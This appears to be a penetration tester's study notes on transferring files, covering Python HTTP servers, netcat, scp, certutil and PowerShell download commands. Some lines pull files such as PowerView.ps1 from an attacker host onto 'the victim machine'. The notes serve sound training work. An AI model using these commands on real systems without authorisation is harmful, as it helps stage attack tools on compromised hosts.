Transfer files
To linux
Python
Transfer files
Using Python, in the folder that contain the file to send on the source machine. E.g. file.txt #flashcard
python -m http.server 4545
On the destination machine, using wget (linux)
wget http://IP_SOURCE_MACHINE:4545/file.txt
Netcat
Transfer files
- On the destination machine
nc -lnvp 1234 > file.txt
- On the source machine
nc -nv IP_destination 1234 < file.txt
SSH - SCP
- Secure Copy Protocol
- Transferring Files between two computers using the SSH protocol
- Provide both authentication and encryption.
- MITM
Working on a model of SOURCE and DESTINATION, SCP allows you to:
- Copy files & directories from your current system to a remote system
- Copy files & directories from a remote system to your current system
Send a file
Send file1.txt from my machine to the target machine with the name file2.txt
scp file1.txt <target_username>@<target_IP>:/home/ubuntu/file2.txt
Download a file
Get the documents.txt from the target machine to my machine. (To my current directory .)
scp <target_username>@<target_IP>:/home/ubuntu/documents.txt .
Change the name to notes.txt
scp <target_username>@<target_IP>:/home/ubuntu/documents.txt notes.txt
Examples to get all files from a folder
scp <target_username>@<target_IP>:/home/ubuntu/* .
scp <target_username>@<target_IP>:/home/ubuntu/* ~
To windows
Certutil
- Transfer files to windows from a HTTP server
General use
certutil.exe -urlcache -f http://IP:PORT//file.exe file.exe
Using PowerShell
Transfer files
Run a web server on the source machine.
Run a web server
Run a web server on default port 8000
python -m http.server
Specify another port and folder to host
python -m http.server 4545 --directory /home/cry0l1t3/target_files
Get the file with PowerShell on the victim machine
Invoke-WebRequest -Uri "http://10.10.14.169:8000/PowerView.ps1" -OutFile "C:\PowerView.ps1"
Alternative Net.WebClient:
- Uses the .NET string Net.WebClient to download a file from the URL specified
- Tools.zip is the exact file name itself
(New-Object Net.WebClient).DownloadFile("https://website-to- visit\tools.zip", "Tools.zip")